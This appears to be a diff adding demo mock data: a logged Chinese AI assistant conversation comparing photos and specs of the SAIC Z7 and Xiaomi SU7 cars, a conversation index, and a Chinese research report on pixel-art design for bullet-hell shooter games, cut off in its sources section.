Max拍的,54mm焦距。不确定是前45度还是什么角度。Commons上 Category:SAIC_Z7 里可能还有其他角度。但就这张是命名 IMG01,应该还行。为了保险,我可以先展示,如果用户不满意再找。或者我再看看 Category:SAIC Z7 有没有 front 命名的图。搜索结果里有 \"File:2026 SAIC Z7T (front).jpg\"(那是Z7T猎装版)。用户问的是Z7,就用 SAIC Z7 MY2026 IMG01.jpg。\n\n2. 小米SU7 紫色正面(2025-03-21,东莞):https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg\n - 横构图 16:9(4032×2268),霞光紫,正面视角。这张很好,CC BY-SA 4.0,作者 茅野ふたば\n\n3. 小米SU7 Max(莫斯科):https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg — 竖构图,备用。\n\n用 展示。规则说\"一次展示优先只输出一个完整标签块\"。嗯,\"一次展示优先只输出一个完整标签块(开标签 + 内容 + 闭标签),不要拆段输出\"——这句话的意思是每个标签块要完整输出不要拆段,而不是说只能展示一张图。但\"一次展示优先只输出一个完整标签块\"也可能意味着优先一次一张。用户要看两辆车的照片,展示两张(每车一张)是合理的。我用两个 show_image 标签,每个完整。\n\n展示后简要描述两车的外观特征(基于我的知识+图片描述):\n\n尚界Z7:\n- 华为鸿蒙智行与上汽合作品牌\"尚界\"的第二款车型\n- 定位\"风尚科技轿跑\",2026年4月22日上市,21.98万起\n- 还有猎装版Z7T(22.98万起)\n- 溜背轿跑造型\n- 这张图是2026年7月实拍(CC0)\n\n小米SU7:\n- 小米汽车首款车,2024年3月28日上市\n- 定位C级纯电轿跑,流线型低趴造型,水滴大灯、光环尾灯\n- 图中是霞光紫配色正面\n- 21.59万起(标准版),Max 29.99万\n\n关于图片我看到的:我不能直接看到图片内容(没有view_image,这些是网络URL)。描述里写了 \"Xiaomi SU7 purple front view\",尚界那张只写了 \"SAIC Z7 MY2026\"。我对尚界Z7的图片角度不确定——文件名IMG01没写角度。不过它是 de.wikipedia 上 Shangjie 品牌条目使用的图,大概率是前45度标准展示照。我对此标注不确定性比较好?不必过度纠结,展示给用户看就行,用户自己能看到。\n\n关于外观描述:我可以描述两款车的典型特征。\n- 小米SU7:低趴宽体轿跑,水滴形大灯,半隐藏门把手,溜背+电动尾翼(Max),光环式贯穿尾灯,风阻Cd 0.195\n- 尚界Z7:溜背轿跑,封闭式前脸,贯穿灯带?我不完全确定细节。搜索说\"外观似曾相识\"(暗指像小米SU7/保时捷风格)。随动四维屏是内饰亮点。我不该编造太多细节,就说大致特征,标注来源。\n\n按信息诚实规范:标注信息来源。车型信息来自刚才的搜索(鸿蒙智行官方发布、汽车之家等第三方报道)。\n\n外观描述部分:\n- 小米SU7的描述基于我的训练知识(2024年发布的车,知识覆盖),可信度较高\n- 尚界Z7是2026年新车,超出我知识范围,描述基于刚才搜索到的第三方报道,说得保守一点\n\n格式:先两张图片卡片,然后简短对比描述。用 show_image 标签。\n\n图片URL选择1280px版本(清晰度和加载速度平衡)。\n\nalt文本写清楚。\n\n正文描述:\n- 尚界Z7:鸿蒙智行×上汽,2026年4月22日上市,21.98万起,风尚科技轿跑,溜背造型,封闭式前脸+贯穿式灯组(嗯,贯穿灯我不确定,不说太细)。有猎装版Z7T。\n- 小米SU7:小米首款车,2024年3月上市,21.59万起,C级纯电轿跑,低趴流线,水滴大灯、半隐藏式门把手、溜背、光环尾灯,Cd 0.195超低风阻。\n\n这两台车是 direct competitor(尚界Z7对标小米SU7),可以提一句。\n\n先输出图片卡片,再写说明。注意标签前后不要再写\"show_image\"字样。", "content": "找到了两款车的高清实拍照片(来自 Wikimedia Commons,均为自由版权图片):\n\n**尚界 Z7**(2026年7月实拍的量产车照片):\n\n\n**小米 SU7**(霞光紫配色,正面视角):\n\n\n---\n\n### 两车简介与外观特征\n\n| | 尚界 Z7 | 小米 SU7 |\n|---|---|---|\n| **出身** | 华为鸿蒙智行 × 上汽联合打造,尚界品牌第二款车 | 小米汽车首款车型 |\n| **定位** | \"风尚科技轿跑\",另有猎装版 Z7T | C级纯电轿跑 |\n| **上市/售价** | 2026年4月上市,21.98万起(Z7T 22.98万起) | 2024年3月上市,21.59万起 |\n| **外观风格** | 溜背轿跑造型,走年轻化路线,提供九种车色 | 低趴宽体流线造型,水滴大灯、半隐藏门把手、光环式贯穿尾灯,风阻系数 Cd 0.195 |\n\n有意思的是,这两款车是直接竞品——尚界Z7发布时就被普遍拿来对标小米SU7,两者的尺寸、价位和\"年轻科技轿跑\"的定位都高度重叠。\n\n**信息来源说明**:尚界Z7的车型信息来自鸿蒙智行官网及证券时报、汽车之家等第三方报道(2026年的新车,超出我自身知识范围);小米SU7的信息基于我已有知识。照片均来自 Wikimedia Commons 自由版权图库(尚界Z7为 CC0,小米SU7为 CC BY-SA 4.0,作者:茅野ふたば)。", "timestamp": "2026-08-23T13:35:36.372046", "message_id": "msg_c8cdb090477447688bce269f4a46e162", "metadata": {"model_key": "Kimi-K3"}}], "meta": {"title": "尚界Z7与小米SU7外观对比", "model_key": "Kimi-K3", "thinking_mode": true, "run_mode": "thinking", "multi_agent_mode": false, "permission_mode": "unrestricted", "execution_mode": "sandbox", "network_permission": "", "messages_count": 11}, "running": {"has_running_background_commands": false, "has_running_multi_agent": false, "has_running_sub_agents": false, "is_main_running": false, "is_truly_active": false, "main_task_id": null, "main_task_type": null}}} \ No newline at end of file diff --git a/demo/mock/conversations-ma.json b/demo/mock/conversations-ma.json new file mode 100644 index 0000000..22bb887 --- /dev/null +++ b/demo/mock/conversations-ma.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}} \ No newline at end of file diff --git a/demo/mock/conversations-normal.json b/demo/mock/conversations-normal.json new file mode 100644 index 0000000..5a07932 --- /dev/null +++ b/demo/mock/conversations-normal.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}} \ No newline at end of file diff --git a/demo/mock/file-pixel_art_research.md b/demo/mock/file-pixel_art_research.md new file mode 100644 index 0000000..8102434 --- /dev/null +++ b/demo/mock/file-pixel_art_research.md @@ -0,0 +1,259 @@ +# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告 + +> 调研时间:2026-08-23 +> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源 +> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明) + +--- + +## 0. 摘要与总体结论 + +- **弹幕游戏(Danmaku)的美术核心不是"好看",而是"可读性(Readability)"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨"哪些是威胁、往哪里躲"。所有美术决策都应服务于这一目标。 +- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。 +- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。 +- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家"真正会中弹的位置",与自机精灵大小形成强烈对比。 +- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。 + +--- + +## 1. 玩家飞船 / 角色设计 + +### 1.1 分辨率与屏幕尺寸基准(先定画布再画图) + +- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。 +- 分辨率越低像素越"块",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的"集群可读性(reading intention within clusters)"。 +- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。 +- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。 + +**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。 + +### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度) + +综合 SLYNYRD 教程与 Boghog 指南: + +- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。 +- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。 +- **尾焰/推进器动画(thruster animation)是必须**:让飞船"活着"的关键,通常 2~4 帧。 +- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持"飞行"的立体幻觉。 +- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要"厚、快、密"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。 +- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动"不流畅"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。 + +### 1.3 东方Project 系列的角色精灵风格 + +(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。) + +- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是"小尺寸、高识别度"路线)。 +- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。 +- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。 +- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。 +- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。 + +### 1.4 像素飞船设计要点(落地 Checklist) + +| 项目 | 建议 | +|---|---| +| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) | +| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 | +| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 | +| 描边 | 深色(近黑)描边,与"用白色描边的敌方子弹"形成体系区分 | +| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 | +| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 | + +### 1.5 判定框(Hitbox)视觉提示设计 + +- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。 +- **视觉提示做法(主流方案)**: + 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。 + 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种"旋转+透明度变化"行为)。 + 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。 +- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给"大判定"、敌人给"大受击判"(补偿微操作失误);玩家命中应"慷慨"(覆盖贴合情况),才不会有挫败感。 + +--- + +## 2. 敌方单位设计 + +### 2.1 杂兵(Enemy Grunts)的像素设计 + +- **同一阵营视觉统一+个体差异**:SLYNYRD 强调"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分"。 +- **角色定位决定美术**:按"速度 / 血量 / 体型 / 几何弹道 / 颜色"五要素设计(SLYNYRD): + - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造"动作感"而非威胁;血量只要够"打完这一局"即可,不要虚高(Boghog)。 + - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。 +- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像"虚影"(Boghog)。 +- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。 +- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。 + +### 2.2 Boss 的体型与细节层次 + +- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),"越大杀起来越爽"(SLYNYRD),但不要大到遮挡弹幕视野。 +- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。 +- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到"视觉上将 Boss 血条分段以显示本段攻击何时结束"。 +- **Boss 出场仪式**:Boss 出现前要有"警告留白"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。 +- **Boss 爆炸要"壮观"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。 + +### 2.3 敌方攻击前的视觉预警(Telegraph) + +- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧"粒子向炮口汇聚/炮口颜色渐亮"表达。 +- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。 +- **激光预警**:东方系激光常见"先显示一条细亮线(约半秒)再出现命中判定",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。 +- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠"渐进式预告"进入节奏。 +- **背景预告**:关卡背景用"地标/视觉节奏"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。 +- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。 + +--- + +## 3. 子弹 / 弹幕的像素美术 + +### 3.1 常见像素子弹样式与尺寸 + +**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。 + +| 子弹类型 | 常见尺寸 | 形态与用途 | +|---|---|---| +| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 | +| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 | +| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 | +| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) | +| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 | +| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 | + +### 3.2 子弹颜色与类型的对应关系 + +- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。 +- **颜色编码用途(Note 上"15 个美丽弹幕"文章 + Boghog)**: + - 用颜色区分"快弹 / 慢弹 / 装饰弹"等**危险等级**,玩家读色即知威胁; + - 颜色同时用于表达"瞄准玩家的弹(aimed)"与"固定弹(static)"等行为差异(各 STG 有自己约定,需在游戏内自学); + - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。 +- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立"谁打的"直觉。 +- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。 + +### 3.3 子弹的动画帧设计(旋转、闪烁、脉动) + +- **闪烁(Flashing)**:双帧交替即可,对比越强越"危险",但对比过强高速移动时反而难追踪(SLYNYRD);常用于"即将消失/即将命中"状态。 +- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴"翻转"来模拟 3D 感。 +- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹"活着"。 +- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。 +- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。 +- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。 + +### 3.4 大量弹幕同屏时的视觉清晰度处理(核心) + +- **价值(Value)分层**:将图像转黑白即可检查——子弹应"亮部+暗部紧挨"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。 +- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把"威胁"和"物体"分开(SLYNYRD)。 +- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读"组合"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。 +- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。 +- **留隙(Design gaps)**:弹幕模式要"设计缝隙"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。 +- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。 +- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。 + +--- + +## 4. 特效与 UI + +### 4.1 爆炸特效的像素动画(SLYNYRD 方法) + +- **制作流程**:先用"圆→扩张变细环"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。 +- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。 +- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。 +- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。 +- **冲击波**:把引导环稍作修改即可成冲击波环。 +- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀")。 +- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。 + +### 4.2 拾取道具的视觉效果 + +- **可读性优先**:道具必须一眼区别于"威胁物",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。 +- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。 +- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等"伸手去接也有意思"的运动。 +- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。 +- **点收集(Point of Collection)**:靠近屏幕顶端的一条"自动收集线"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。 + +### 4.3 得分 / 连击的视觉反馈 + +- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。 +- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如"x2.5")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式"防御性计分"靠视觉压力驱动玩法)。 +- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。 +- **分数增长可视化**:让"数字变大"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。 +- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。 + +### 4.4 血条、Bomb 数量等 HUD 设计 + +- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。 +- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示"即将切换攻击"。 +- **Bomb 图标**:用典型"B"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。 +- **残机(Lives)**:像素自机小图标排列,比数字更直观。 +- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。 +- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。 +- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。 + +--- + +## 5. 参考资源搜索汇总 + +### 5.1 itch.io 免费/付费像素弹幕素材 + +| 资源 | 内容 | 链接 | +|---|---|---| +| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite | +| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 | +| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup | +| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell | +| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell | +| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell | + +### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权) + +- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art +- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020 +- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art +- **shmup 合集页**:https://opengameart.org/content/shmup + +### 5.3 经典 STG 精灵分析与弹幕设计参考 + +- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox +- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets +- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon +- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html +- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 +- **Shmups Wiki 主站**:https://shmups.wiki +- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups +- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup +- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo + +### 5.4 像素艺术风格指南(教程/博客) + +- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design +- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2 +- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions +- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles +- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial) +- Piskel(免费在线像素编辑器):https://www.piskelapp.com + +### 5.5 建议搜索关键词(继续深挖用) + +`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解` + +--- + +## 6. 给本项目落地落实的美术规范建议(可直接执行) + +1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。 +2. **色板分工(建议)**: + - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调; + - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边; + - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白); + - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开; + - 爆炸:白→橙红黄→灰; + - 预警:蓄力时变亮/变红,激光先亮细线。 +3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。 +4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。 +5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。 +6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。 + +--- + +## 7. 信息来源与可信度说明 + +- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 